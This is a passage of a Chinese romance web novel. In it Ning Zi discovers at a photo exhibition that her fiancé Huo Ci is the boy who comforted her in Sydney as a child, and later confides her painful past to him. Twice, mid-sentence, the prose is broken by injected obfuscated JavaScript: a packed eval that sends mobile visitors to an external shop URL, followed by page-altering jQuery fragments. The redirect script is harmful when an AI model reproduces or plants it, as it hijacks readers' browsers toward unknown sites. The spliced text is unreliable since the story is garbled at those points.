霍辞反唇相讥,“有去类似饭店、酒店实地考察过吗?有没有结合实际情况认真比较,细致分析出霍氏的优势和劣势?有没有数据作支撑?如果这些都没做到,那你就不配这样轻描淡写说自己是经过深思熟虑的。你不仅在拿霍氏的未来去赌,还有那么多霍氏员工的饭碗都可能因为你一时的冲动而毁掉,而他们的身后是一个又一个被小心支撑起来的家庭。只为了一己私欲,企图挣脱母亲的控制,夺得话语权,像你这样的继承人,哪里配得员工们的信任?” 霍亦辰被贬得面红耳赤,急道:“我不配,难道你配?霍辞,你从来就不是霍家的‘自己人’,有什么资格对霍氏饭店的事指手画脚?” 这一刻,他想到了什么,憋不住内心的疑虑与恐慌,质问道:“你离开了霍家,仍对霍氏的情况、对我的一举一动了如指掌,这是为什么?你是不是从没死心,想要和我争夺霍氏的继承权?” 霍辞仿佛听见了什么极其可笑的话,畅快地笑了几声,激得霍亦辰气愤质问:“你笑什么?被说中了是不是?” “错了。”霍辞敛起笑容,抬手轻拂去眼角笑出的泪,淡声道,“霍氏饭店不是我的目标。” 他停顿片刻,朝霍亦辰睨了一眼,轻道:“我想要的是彻底超越霍氏。胜过你霍亦辰没什么意思,我要对你全方面的碾压。让母亲亲眼见证她呕心沥血培育出的继承人是怎么被她厌弃的我狠狠击溃,让她知道自己错得有多离谱。” “你做梦!”霍亦辰愤慨呼喊,猛然上前揪住霍辞的衣领,却被重重推开,靠在墙面。 霍辞依然身形挺直,嘴角上扬,“我会实现,这一点我很清楚,你也是。” 58. 第五十八章 宁姿正低头核对名单,文成、董筱、叶丽佳三人给书本分类。 涂改了几处登记错的地方,桌面上的一页宣传单被风一拂,朝不远处飘去,落到地面上。宁姿赶紧追出去捡,刚弯下腰,没来得及抬手,一只骨节分明的大手出现在她的视野里,先一步按住宣传单,随后拾起。 广场旁的商场似乎在搞什么活动,门前搭了台子,音响放着最近流行的抒情歌,曲述深情,悠扬清婉,她一抬眼正撞入他清澈似沁过水的瞳眸。 霍辞伸了手,递出的却不是宣传单,而是一个纸袋,朝里一探,是饱满红亮的外衣上覆了层细雪的山楂糖。宁姿欢欣接过纸袋,捏起一颗送入口中,酸甜可口,笑弯了眼。她特意拣了颗糖霜最多的喂到他唇边,看着他张口咬下,欢欢喜喜地抱着纸袋子跑回摊位,把零食和小伙伴们一同分享。霍辞跟在她身后,蹲下身给理好的书籍装箱打包。 文成不爱吃甜的,摆手拒绝了宁姿的山楂糖,朝四周扫了眼,“霍亦辰去哪里了?” 霍辞把绳子拴好,答,“走了。” “太过随心所欲了吧,这么不负责任,应该得学分吗?”文成皱眉道。 叶丽佳口中还含着山楂,囫囵不清说:“你傻啊,人家本来就不是冲着学分来的,估计是塞了太多狗粮,受刺激了吧。” 董筱连忙拿胳膊肘轻撞了下她的肚子,提醒她别口没遮拦的。 下午四点左右,提前联系好的运输车把打包好的书本装箱运走,宁姿再次核对登记信息,确认无误,此次公益活动圆满落幕。几人收拾好东西,借来扫帚把地面清理干净。 “桌椅都是从宣传部借的,快递送回学校,登记册我先带走,周一送去学校。”文成说。 宁姿把登记册递给他,“行,今天大家辛苦了。” 道别后,宁姿和霍辞去了商场里,二人并肩走,十指相扣,错身经过的行人不免朝他们投去目光。女生身着朱红色连衣长裙,领口围了圈雪白绒边,缀有珍珠装饰,衬得她肤色胜雪,娇嫩清纯,纵使商场内繁华缤纷,也夺不去她丝毫光彩。男生穿着一身深灰色正装,上身的纽扣从第一颗到最后一颗都扣得整齐,身形高大笔挺,黑发略长,掩不住眉眼间的凌厉锋芒。她靓丽纯美如娇花映春,他阴郁锐气似凛冬寒夜,本来气质极为不符的二人,走在一起,却莫名多了分电影画面般的故事感。 “春天来了,是不是该添些新衣服和化妆品?”霍辞开启话题,嗓音柔和。 宁姿颇为娇憨地摇头,“没什么想买的,只想和你逛一逛。我们平时各忙各的,好不容易一起逛街,我觉得很浪漫。” “只是一起逛一逛就觉得浪漫了吗?我的小未婚妻未免也太好哄了。”他跟蛊惑人似的,声音又缓又轻。 “好像的确不该这么便宜你。”宁姿琉璃般的大眼珠转了转,随手指向一间冰淇淋店,“给我买冰淇淋,无花果拼抹茶口味。” 霍辞做了个“收到”的手势,去给她买冰淇淋,逗得宁姿两眼弯弯。 冰淇淋口感缠绵,像棉花糖一样,味道却不甜腻,清爽醇厚、酸甜交杂。霍辞看着她吃得像只小馋猫一样,弯唇而笑。宁姿不明所以,直愣愣盯着他,“笑什么呢?” “长胡子了,小花猫。”霍辞笑答。 宁姿还有些懵,快走几步到镜面墙处照了照,才发现融化的冰淇淋不小心弄了些在上唇上方,顿时窘迫,手往兜里掏了下,发觉没带卫生纸。谁知刚一扭头,霍辞已站在她身前,神色温柔地低头看她,手拿卫生纸细致地替她擦拭。 她抿了抿唇,轻咳两声,把剩下一点冰淇淋蛋卷筒递到他唇边,小声说:“吃不下了。” 霍辞毫不犹豫张口吃掉。宁姿看着他听话得像一只乖顺的大金毛,心头一阵欣然,摸了下耳垂,脸上笑着说:“我发现了一个有未婚夫的好处,那就是不会浪费食物。” “只有这一点好处吗?”霍辞凑到她耳边轻声道。 她笑得狡黠,“不止,还有很多,不过我不说出口,免得你太骄傲。亲爱的未婚夫,还要再接再厉哦。” 霍辞喜欢极了她这副调皮的模样,忍不住伸手捏了下她莹润的鼻头。 经过卖化妆品的区域,二人走到一层的中心地段,这里原本有一大块空地,今天却铺上了假草坪的地毯,摆满架子,整体以花草元素布置,具有田园般温馨浪漫的风光,点缀的水晶装饰折射明亮的灯光,散发出流光溢彩的光束,简直像是现代化商场中的一片奇幻世界。 最吸引人眼球的莫过于架子上或摆放、或用木夹夹住的一张张照片,大小不一,内容也各式各样、十分丰富,有连绵起伏的巍峨高山,有蜿蜒如长龙的曲折大河,有白雪渲染的日照金山,有奔跑着麋鹿的幽静森林……除去自然风景照外,也有建筑拍摄、人文风光,尤其是人物照,生趣盎然,令观览者恍然间如同置身场景之中。 宁姿最先看到的是一张小男孩的照片,画面里的男孩虎头虎脑,怀中抱着一只小羊羔,露出纯真的笑容,甚至还缺了颗门牙,令人看见都不免莞尔。 紧邻的一张照片内容是身着民族风布裙的老奶奶一手抱着搪瓷罐子,一手轻拍熟睡小孙女的后背,给人以温馨的感觉。 宁姿大大的眼睛写满好奇,快步走到展区,欣喜道:“好像是摄影展,不知是哪位摄影师的作品?” “是满征的作品。”霍辞回答,眼神示意她看一旁的摄影展介绍海报,本次展览的主题是《从心》,下面写了一段关于摄影师满征的简介,他是国内极具影响力的摄影师,早期摄影作品《沉默的少女》于1979年获得荷赛奖,一炮而红。后来的作品接连售出高价,代表作之一《洛河》更是在嘉罗拍卖行以172万美元的高价出售给了一位私人收藏家,摄影师本人被誉为“视觉灵魂”,尤其是他本人有过一段冒险入伊拉克拍摄的经历,真实还原残酷战争的摧毁下,人群满目疮痍的生活痕迹。 宁姿不懂摄影,却不免为这位伟大摄影师的经历赞叹折服,肃然起敬。 她的目光凝滞在一张瘦弱的男童照片上。那孩子穿着破破烂烂的衣衫,双手并在一起,像捧着什么,视线垂下,濡湿的睫毛上挂了颗泪珠。仔细一看,男童的掌心有一只黑色的小蚂蚁,他漆黑的瞳孔也隐隐戳戳映出蚂蚁的影子。而在他的身后,是滚滚浓烟、破败的城市与零星的火焰。 宁姿感觉浑身过电一般,内心深处感到极致的震撼,喃喃道:“过剩的野心与不加克制的欲望带来纷争,那些苦痛本不该存在。孩童的世界原本是多姿多彩、缤纷而纯粹的,他怜惜稚弱的生命,可那些卑鄙的成人又何曾怜惜过他们?可叹的是那些人都忘了,他们也曾是赤手空拳的幼童。” 这时,霍辞还未回应,一名身着棕色皮衣、长发微曲的中年男人走到他们身边,叹道:“说得好,当初我捕捉到这幅割裂的画面,痛心于孩童惜弱的画面与背景的战火形成极具的反差,没想到今天听到了另一种解读。这张过去的作品在我眼里有了新的色彩。这是比任何奖项还要更激励人心的评价。” 当他说完,霍辞突然站直,态度恭敬地说道:“满征老师,我们也为你的作品而震撼。” 宁姿双目微瞋,扫了眼海报上的摄影师照片,后知后觉果然是本人,摸了下鼻尖,说:“满征老师,我刚才是随口胡说,实在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035562|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班门弄斧。” 满征欣然道:“你的感慨发自肺腑,正是我作为创作者想要了解的。看样貌你年岁不大,还是学生吧?” “我在读大学。”宁姿回答。 满征面露好奇之色,“本该在象牙塔般的年纪就有这样深的见地,我都有些好奇你过往不凡的经历了。” 她不知该说什么,当下眨巴了下眼睛。 满征慈和一笑,“请不要介意,或许这就是摄影师的职业病,总试图挖掘出人事物背后的深层次故事。” “摄影师应该是一群非常有探索精神、对世界保有饱满热情与好奇心的人,是记录者,也是创作者,用独有的视角、情感充沛的镜头语言诠释这个世界。”宁姿兴味道。 “这位小姐竟是知音。”满征笑出声,眼角挤出的鱼尾纹使他看起来更亲和了几分。 这时,一名穿着工作背心的年轻男人走到他身边,低声说:“满老师,杂志社的张副主编来了,要和您沟通采访内容,现在在休息室喝茶。” 满征点头,对宁姿和霍辞说:“我得去一趟,二位请便。” 满征随助理离开后,霍辞接了通工作电话,走到展区外安静的地方接听。宁姿继续欣赏展览的照片,缓缓踱步,不多时走到了展区的西南面,这个片区展出的都是国外的风光,其中不乏众多世界著名建筑,莫斯科红场、大本钟、帕特农神庙…… 宁姿看得双眼放光,满征的镜头视角别具一格,使这些眼熟的建筑物增添了全新的神秘光彩。他尤其擅长以人物与建筑融合的方式构成丰富的画面,使得原本冷冰冰的建筑有了温度,更添人文底蕴。 忽然,宁姿的脚步停下,目光被一张照片凝住,画面中是形如海贝重叠的悉尼歌剧院,前方有一个华人少年手举着撕成条的白面包在喂海鸥,羽毛洁白的海鸥形态灵动、振翅欲飞,像是向往蓝天的精灵,生机盎然得仿佛要随时冲破画面尽情翱翔。 宁姿莫名对画面中的少年生出一种熟悉亲近的感觉,而更吸引她的是右上角一个不起眼的角落一家三口行走的背影。回忆的一幕幕犹如走马灯划过脑海,父亲宽厚的肩膀、母亲的手那柔软的触感、碧空下的悉尼歌剧院、数百海鸥生动的鸣叫声,她甚至能闻见海风独有的咸味,尘封的过往再度鲜活起来。 那被牵着手走的小女孩正是童年的她自己,而年轻的夫妇是她朝思暮想的父母亲—— “姿儿看,是悉尼歌剧院。” “看见啦,还看得很清楚呢!在海面上竖着一群大白鲨的鳍,就像随时要动起来。又像是翻涌的浪花,吐着洁白的泡沫。” “我长大以后也要修悉尼歌剧院,修圣玛丽大教堂和大本钟。” “我们姿儿这么厉害啊?” “不止呢,我要修好多好多漂亮的房子,把世界变得像童话故事里的城堡一样漂亮,然后和爸爸、妈妈永远幸福地生活在里面。” 情绪翻腾,眼眶骤红,她的心正狂跳不止。 霍辞接完电话回来,就见她站在一张照片前怔怔出神,仿佛被定住一样,于是也向那张照片投去探究的目光,随即微怔,似乎有点儿意外,低声道:“是我……” 宁姿如梦初醒,疑惑地转脸看向他。霍辞抬手指向喂海鸥的少年,“那天是班级修学旅行,我的餐盒被人放了泥土,同学们取笑我,于是我把所有人的餐盒都砸了,独自离开班级,走着走着就到了歌剧院门口,路上买了两块面包,只吃了一小半,剩下的喂海鸥。” 宁姿默然,那时的记忆经他言语的洗礼变得越发鲜明,生趣的细节被唤醒,面向他,眼底溢满激动,欣喜道:“不止是喂了海鸥吧?” 59. 第五十九章 五岁那年,宁姿还是个坐在父亲肩头睁大懵懂双眼惊叹于歌剧院奇幻丰富的外形满心雀跃的小女孩,没有尝过生离死别的凄苦,天真地以为会在父母柔和的目光下茁壮成长,那时也在心田里第一次萌生出关于建筑梦想的新芽。 而她的快乐很快消散,父母买水时,她被一只白色卷尾巴小狗吸引了注意力,跟着追去一段距离,结果小狗没追到,爸爸、妈妈的身影也不见了。 小宁姿个头矮,只好仰长了脖子四处张望,身边是如流水而过络绎不绝的人群,肤色各异,口中吐着各种陌生语言,她一句也没听懂,心里不由得生出恐慌,左顾右盼,不慎被人挤倒,跌坐在冰冷的地面上。撞到她的那人是位高大的白人女性,俯视她,嘴里叽里咕噜说了一串话,然后朝她伸出染了鲜红指甲油的手。 在小宁姿的眼里,面前的白人阿姨脸型很尖,眼窝深陷,鼻子像刀一样锋利,嘴唇又大又饱满,涂满了暗紫色口红,像极了图画书中的巫婆。小宁姿当即吓得瘪嘴哭泣,惊得那女人缩回手,又吐出几句宁姿听不懂的话,很快走开了。然而小宁姿的眼泪却像断了线的珠子一样止不住。 正在这时,一只清瘦干净的手递到她眼前,泪眼婆娑的宁姿抬起眼,映入眼帘的是一位亚洲人长相的少年,看起来比她要大一些,身形偏瘦,穿着黑色的长呢大衣,额前的碎发随风拂动。他的面容稍显稚嫩,神情却如成人般淡漠成熟,一双黑曜石般的眼眸如深井旋涡,像能轻而易举把人吸进去。 宁姿只顾着盯着少年看,忘记了哭泣,呆呆地看了半晌,忽然打了声轻短的嗝。少年显然耐心不足,见她没有伸手的意思,便直接攥紧她纤细的胳膊,用力将人提了起来。 “Whyareyoucrying?”少年低声问。 小宁姿茫然地眨眼,不明白他的意思。少年察觉她不会英语,又接连切换了日语和韩语问了两遍。宁姿无奈地偏了下头,像一只懵懂的小狗。 “中国人?”少年又问。 这一次,她像小鸡啄米一样连点了几下头。少年转头看看四周,没看见华人面孔,才又问她,“你怎么独自坐在这里哭?你父母呢?” 一提到父母,泪珠瞬间又充盈宁姿的眼眶,她难过地摇头,表示自己不知道。 “别再哭了,脸上很脏。”少年叹了一声,从口袋里拿出一方浅灰色手帕替她擦拭泪痕。 小姑娘脸上的泪痕擦干净后,圆圆的脸颊仿佛粉雕玉琢般,像鲜嫩的红苹果,又像可爱的年画娃娃。“年画娃娃”仍目不转睛地盯着他,纤长的睫毛被泪水浸湿,又黑又密。 “只要你不哭,就给你吃面包。”少年想了想,伸手递出缺了一小半的白面包。 宁姿哭得太久,确实消耗体力,闻到面包的香气,有些馋,于是乖巧地点了点头。少年撕下一小块面包递到她面前,本以为她会伸手接,没想到女孩直接伸长脖项嗷呜一口咬了下去。少年愣了下,半晌才缩回手,有些好奇地看着女孩咀嚼后往下咽。 这面包比看上去美味,有一股隐隐的奶香味。宁姿眼巴巴地看着少年,意犹未尽。少年懂了她的意思,问:“还想吃吗?” 宁姿毫不扭捏地点头。 少年又撕了一块递过去。就这样,他一块一块耐心喂,她一口一口吃,整块大面包被吃得精光。少年没想到这女孩个子小小的,食量却不小,低道:“你好像真的很喜欢。” “还可以吧,不够甜。” “是海鸥喜欢的味道。”少年淡淡说。 这次换小宁姿愣住了,反应了两秒后,才问出口,“是用来喂海鸥的?” 瞬间有点反胃。 “像喂你一样,一块块撕下来喂的,很干净,没沾上海鸥的口水。”他认真解释,随后又从口袋里掏出另一个白面包,问,“还想吃吗?” “不想。”宁姿还是不太乐意和海鸥吃一样的食物。 少年低头拆开包装纸,缓步向前走,停在栏杆旁,天高海阔,半空中飞鸟盘桓啼鸣,海鸥的眼睛漆黑中闪着光芒。海潮磅礴,雪白的浪花在视野里一朵朵绽放,碧空如洗,阳光暖耀,簇簇海潮接连不断,涌起的水珠快要融入天幕一般。 小宁姿下意识跟在他身后,或许是因为亲人不在身边,孤身处于这个全然陌生的人潮里,他与她来自同一个地方,便令她感到安全。 少年撕下一小块白面包,同先前喂她吃一样,温柔地朝半空抬起手。一只翱翔的白鸥目中锐光一闪,经盘旋半圈后,以利箭飞射般的速度朝他直冲冲扑去。盯着它尖利的喙,宁姿吓得双手捂眼,叫了声“小心”。 尾音刚落,再看过去时,海鸥已衔着面包块飞远了。她有些惊讶地垂下手,睁大眼,只见少年再度撕下一块面包,这一次没有喂海鸥,而是转过身递到她面前,“想尝试一下亲手喂海鸥吗?” 小宁姿踌躇起来,心中是跃跃欲试的,但一瞥那一只只矫健活跃的飞鸟,它们有尖利的喙和爪,又怕了。 “不用害怕,像我一样。”少年瞧出她的心思,示范一样地抬起手臂,刹那间,又一只海鸥降落准确无误叼走他指间的面包块。随后他不厌其烦,撕下一块面包递到她手中。 小宁姿终于鼓起勇气走到他身旁,手指捏着面包,却迟迟没有抬起手臂。 “它们都很温柔,不会伤害你,相信我。”少年低下头,靠近一步,小宁姿感觉手背触感柔软干燥,是他轻轻握住她的小手。 二人交叠的手臂缓慢抬起,须臾间,一只羽毛洁白的海鸥朝宁姿迅速飞扑而来,吓得她紧闭双眼,侧过脸去,忽然感觉指尖一松,面包块已经被叼走,耳畔传来鸟类欢畅的啼鸣声。小女孩难抑激动,咧嘴笑道:“它吃了,真的吃了!” 接着,小宁姿主动又撕了块面包喂海鸥,在面包块被叼走的瞬间欢欣笑出了声,被微风拂动的风铃声般悦耳,与治愈的潮汐声、海鸥灵动的啼鸣声混杂在一起,形成世间最生趣的交响乐。 少年浅色的唇瓣一开一合,说了什么话,恰逢一个浪潮扑来,卷起浪花炸开,热切的的水声掩盖了他的嗓音,因此她没听清,赶紧追问:“你刚才说了什么?” 少年与她对视一眼,重复道:“你笑起来的样子冒着傻气。” 小宁姿脸一黑。 瞧出她不高兴,少年又接着说:“不过这样子很可爱,不要再流眼泪,再难过的时候也多笑一笑。” 宁姿虽然个子没他高,年龄也比他小,但很不服气他的说教,反驳道:“可是你自己的表情也是冷冰冰的,笑容很少呀。” 意料之外的是少年认真点了下头,“的确是我没做好,所以更要说给你听,也说给自己听。眼泪是无法换来心中渴望的事物的。” 那时的宁姿太过年幼,不懂他话中的意思,也看不明白少年脸上似蒙了一层灰影般的神情。 “姿儿,你怎么跑到这里来了?”不远处传来呼唤声,是母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047832|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲的声音。 小宁姿一扭头就看见父母焦急的身影,开心地跑了几步,顿住脚步,回过头时身后只有错落行走的人群,羽翼洁白的海鸥依然在蔚蓝海面上盘旋,只是再也不见那黑衣少年的身影。 · 过去很久的回忆里那些鲜活的画面变成眼前生动盎然的相片,商场内放的轻音乐舒缓幽回,宁姿的睫毛如春日枝头上的蝴蝶颤颤一动,目光同样柔和,沉入画面中,留下恍然的欣喜,还有些难以置信。 转头看向身旁的未婚夫时,眸光闪烁,晶亮如星,“是你,面包哥哥。” “面包哥哥?”这突如其来的称呼,让霍辞哑然失笑。 宁姿仔细地解释,“你是替我擦干眼泪,鼓励我喂海鸥的那位大哥哥。儿时的那段经历太过梦幻,我甚至以为是自己在做梦,也怀疑过面包哥哥是否真实存在,没想到竟然是你。” 难怪自己总是对他有一种莫名的信任。 霍辞没作声,轻吸了下鼻尖,淡道:“我不太明白,所以现在你是在和我分享你初恋的故事?” 宁姿收起笑容,怔住了,这下子她又不确定了,弱弱辩解,“不是初恋……” “小时候的事情记了那么久,一提起还那么兴奋,真的不是因为你喜欢他?”霍辞眯眼看她。 难道真是自己认错人了? 宁姿感觉他的目光如炬,自己像被架在火堆上烤,吞吞吐吐的不知道该怎么回答,组织了好一会儿语言,才故作淡定道:“是感激,大哥哥帮过我,所以一直很感激。” 霍辞舍不得再逗她,“我怎么都没认出来,你竟是那个时候的小鼻涕虫。” 宁姿傻眼了,“所以你就是面包哥哥,刚才是故意捉弄我呢?不对,什么叫‘小鼻涕虫’啊?”反应过来的她摆出不爽的表情。 霍辞有礼有节地缓声回答,“一张笑脸哭得像花猫,眼泪、鼻涕都淌了出来,实在是太难看了。我也是实在受不了才上前把她拉起来,擦干脏兮兮的小脸。” 宁姿觉得喉头堵塞,说不出话来反驳,只能从鼻端哼出一声。霍辞收敛笑容,握住她的手,“逗你呢,事实是当初那位小姑娘太过可爱,就算是铁石心肠,也狠不下心真不去管她,任她哭泣。” 这话算受用,宁姿眉目娇气地嗔怪,“现在想反口哄人,已经晚了。” 他不言语,也不松开她的手,静静凝视她,良久后低语,“有一部经典电影里说,‘生命就像一盒巧克力,你永远无法知道下一个是什么味道的。’” 霍辞捏着她的手指,定定地看着她,“我们的订婚是我人生中第一颗巧克力,今天的相认又是另外一颗,同样甘美香醇,惊喜的滋味却又是不同的。原来在很早以前,我已经牵过你的手。” 宁姿眼底绽放笑意,紧接着嘴角上扬,眨了眨眼,“你实在太会哄女孩子欢心。” “只对你一人这样。”他垂着眼说。 宁姿饶有兴味地问:“那对其他人是什么样?” “和看上去一样,漠不关心。”他语气平淡。 宁姿知道他说的是实话,口吻里隐隐的雀跃,“不熟悉你的人似乎都不太敢接近你,不过我和其他人不一样,不论是小时候还是现在,一点都不怕你。” “是,所以你一直是特别的那个人,独一无二。”他凝视她清亮的眼眸,轻声道。 论撩人还得是他。 宁姿暗叹一声,面上飘起红晕。 60. 第六十章 宁姿下定决心买下悉尼歌剧院背景的相片,霍辞陪她在展区内等候。 大约三个小时后,满征老师送走了客人,再度返回展区,二人和他协商。知晓缘由,满征赞叹于缘分的奇妙,理解宁姿与霍辞初遇的纪念,也体恤作为儿女对父母的追思,爽快答应把相片以低价出售给她。 “爱有天意。”最终满征低声道,神色富有深意。 回到宁姿家里,霍辞搬来梯子,钉好钉子,将相框挂在墙上。 大卧室很宽敞,除去一张大床和衣柜、梳妆台外,没有其他家具。窗边挂了一幅巨大的落地帘,重重叠叠的锦缎上绣着精致繁复的花纹,华丽又复古。墙上挂满了相片,大小不一,一幅幅画面生动而鲜活,凝聚着美好的一幕幕回忆。 相片挂好后,霍辞走下梯子,见宁姿隐隐出神。她凝望着墙上的照片们,神色微微凝滞,随后微笑绽放,“这是爸爸、妈妈曾居住的卧室,这些照片都是我的宝贝,舍不得收起来,全部挂在这里。被学校录取,和你订婚,设计作品获奖……每当有开心的事,我都会告诉他们,和他们分享喜悦。难过失意的时候也会向他们倾诉。” “有难过的事,为什么不告诉我,让我与你一起分担?”下一秒,霍辞抬手将她的脸抬起来,凝视她。 宁姿笑吟吟地看了他一眼,说:“都是过去的事,和你订婚以后,难过的事就变得少有了。” 霍辞满意地揉了揉她的发顶,“小鼻涕虫真听话,看来真的在勇敢地面对生活。” 宁姿瞪眼,“再也不想从你的嘴里听到这冒犯的称呼。” 霍辞眉梢轻扬,故意不接话,而是转脸端详今天买到的照片,笑了起来,“相片里有初遇的我和你,还有爱你的爸爸、妈妈,算是全家福了。” 宁姿默然,心轻轻一颤,暖意从中而发,经遍周身。 霍辞再望向宁姿一家三口拍的艺术照,她依然与记忆中白白胖胖的“年画娃娃”一般无二,脸颊饱满,瓷白的皮肤被光线一映,跟打了一层柔光似的,漂亮得不真实。父母一左一右握着她两只小手,两人的面容年轻而柔和,整幅画面都有温暖的爱意在流动。 “小宁姿是被爸爸、妈妈捧在手心里的明珠,我一定要对你更好,不可以让二位失望。”霍辞看向照片里两位长辈的目光敬重有礼。 宁姿咯咯一笑,拽了下他的衣角,“已经好到极致了,他们一定会非常喜欢你,就像我一样。” 得到她的肯定,霍辞感到满足,看着她的眉眼,突然感慨道:“下半张脸与母亲别无二致,精致又秀气,眉眼端丽无双,温柔又不失气度,原来是像父亲。” 听他这么说,宁姿重又端详相片上父母亲端正的容貌,如同泡入温热的泉水中,明烈的欣喜令人眩晕,难耐激动道:“听到你这样说,我真的好高兴,就像他们一直都在我身边,从未离开过。我是他们生命的延续,承载着太多的爱和他们拥有的美好品质,即便是生离死别,也无法使这些最宝贵的东西褪色。” 霍辞怅然道:“你的双亲和我的兄嫂,也就是霍亦辰的父母,彼此是至交好友,一次出行的意外事故使他们一同失去生命,最受伤的是尚且年幼就失去至亲的你与霍亦辰。” 宁姿一怔,轻道:“我很希望云淡风轻地说一句,这件事已经过去很久,但实际并不是这样。虽然很多人说再痛的伤口也终将被时光抚平。但亲人的离世更像是淅淅沥沥的雨,时不时会降落,总有些特别的时候,会惆怅,会难过。” “你从前受过太多的苦。”他的目光充满怜惜,这一刻,与心底深厚的情绪相比,语言显得无比苍白。 她柔和地钻入他的怀中,抱住他的窄腰,说:“今天晚上,在父母和心爱的男人面前,允许自己短暂的软弱一下。霍辞,愿意听我吐一吐苦水吗?” “这一刻,我期盼了很久。”他的心因她的话变轻。 这是宁姿第一次有想要向另一个人倾诉过往艰难的念头,很明显,她并非一个豁达的人,甚至过于敏感内耗。总习惯于把往昔经历的苦楚反复拿出来咀嚼品味,艰难反思,借此坚定自己的心性,明确未来的方向。饱满的情绪反而成为自伤的利刃,心底深处保有凉薄的理智。也是因为这样,她向来觉得倾诉是一件没有价值的事,毕竟对他人产生依赖与寄托,无异于在悬崖边起舞,是最危险的事。 但如今,生命里出现这样一个人,令她敢于再度尝试,并且充满信心。坚信这一次不会再度跌入深渊,而是得到真正温暖的救赎。 她闭了闭眼,以平淡的口吻叙述,“爸爸、妈妈离世的那一年,我年岁尚小,大多数经过都记不大清楚了,一些细节却铭刻在记忆中,愈发清晰,比如那几日天空中经久不散的阴云,看起来那样厚重,像要随时倾塌下来,将我吞噬。还有一场奇幻的梦,梦里四周是灰蒙蒙的雾,爸爸、妈妈携手的背影越来越远,无论我怎么追都追不上,最终消散在屋里,与那片灰融为一体。还有……” 她低头看了眼自己光滑皎洁的手指,“那时我蜷缩在墙角,仿佛化身一片寂寞的影子,而食指不知在什么时候划伤了,可惜再也没有人疼惜地替我包扎,在过程中温柔地呵气,哄我说‘姿儿乖,疼痛飞走了’。” 霍辞安静聆听,表情有些僵硬,眼底的痛意那样直白。宁姿脸上挂着平静的笑,神色宁和,“我还天真地以为至少舅舅、舅妈会陪在我的身边,也曾用心地去期盼他们的关爱。他们会对我笑,不吝啬夸奖,即便在外我只是一个自卑到极点的人。饭桌上,他们总会第一个给我夹菜,尽管很多菜我并不爱吃,但我从来不忍心辜负这些关怀,因为那是我渴求的、自以为的爱。即便对某些食材过敏,我也不会说,总是逼迫自己欣然吃下。现在回头想一想,是我内心太过匮乏。所以即便敏锐地察觉出很多不对劲的地方,也怯懦地选择忽视,愚昧地骗人骗己,不肯承认他们对我只是出于利益考量,全然是利用。” 霍辞心疼地握紧她的手指,摩挲了下,低声说:“不要责怪自己,可恶的是那些践踏别人的人。” 她缓缓地继续说下去,“表妹钟荔荔从小就讨厌我,时常在暗处给我使绊子,陷害我似乎已经成了她的一种乐趣。她 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察觉到面颊湿润,她神色错愕,霍辞抬手为她拭去。然而刚被他的手指碰触,她就忍不住触电般往后弹了下,被他及时察觉,拖过她的手,将她重又拉回身前。泪水席卷着沉闷与哀凉,心却在这时变轻了许多。这一刻,宁姿忽然想到那两个字——“救赎”。 她仰着脸,不再避讳自己的脆弱,木然道:“小学班级的接力赛当天,钟荔荔把我骗去器材室,离开前又在门上挂了锁。我独自在里面从白天等到黑夜,也没人找到。夜里太凉了,断电后四周漆黑一片,伸手不见五指,我只能凭借记忆拖来装器械的袋子盖在身上,紧紧抱住自己的胳膊。” “那时想起了从前妈妈给我讲过的睡前故事《卖火柴的小女孩》。可惜的是那晚的梦里没有让我如愿见到烛光里的亲人,只留下空寒与寂寥。而错过比赛,也使我们班与奖牌失之交臂,更受到同学们的排挤。”宁姿慢吞吞地吸了吸鼻子,再开口,“高中时期,有一次校内组织郊游,我被钟荔荔撞倒,跌入泥坑,样子很狼狈。结果在回校车的路上遇见了霍亦辰。” 提到霍亦辰,霍辞眼神冷下几分。 “关于婚约的事我听说过,只当作是长辈间的玩笑,但对霍亦辰这个人还是忍不住多了份关注,其实我是认得他的。那天他的目光像利剑一样尖锐而显露,嫌恶的情绪不加掩饰,刺痛了我。我不生气,只是陷入了更深的自卑中。” “你们有相似的经历,却成长为截然不同的两种人,他不配与你相提并论。”霍辞的手落在她的肩头,略用了些力。 他的掌心传递了温度,仿佛给了她源源不断的力量与支持,宁姿长吐出一口气,“你说得对,真诚与付出不是错,只不过是短暂的运气低迷。如今的我感激自己当初踏出勇敢改变的一步,从那以后,所有的一切都变得不一样,我很满意现在的自己。往后的道路更是阳光普照,充溢着希望、美好,还有你。” 霍辞将她轻轻拥入怀中,手指抚摸她柔软的发丝,声音在她头顶响起,低哑又温柔,“阳光、希望、美好都属于你,我也是。” 说完,他将下颚抵在她的发顶,衷心祈愿世界善待她。 如若不遂人愿,那他就撑起她的全世界。 61. 第六十一章 校园里,宁姿和董筱、叶丽佳一起去二食堂吃午餐。清远的二食堂很有名气,厨师手艺好,可供选择的菜式众多,价格算实惠。宁姿买了一碗鸡蛋面,油润劲道的面条上浮着翠绿的葱花,上面盖了片煎至金黄的鸡蛋,看起来很诱人。 三人走到一处靠窗的座位坐下。赤明的阳光透过清净的玻璃窗洒在桌面上,晒得人暖融融的。叶丽佳抱怨咖喱饭里的鸡肉没上次多,大部分是土豆,旁边那桌来了一对情侣坐下。 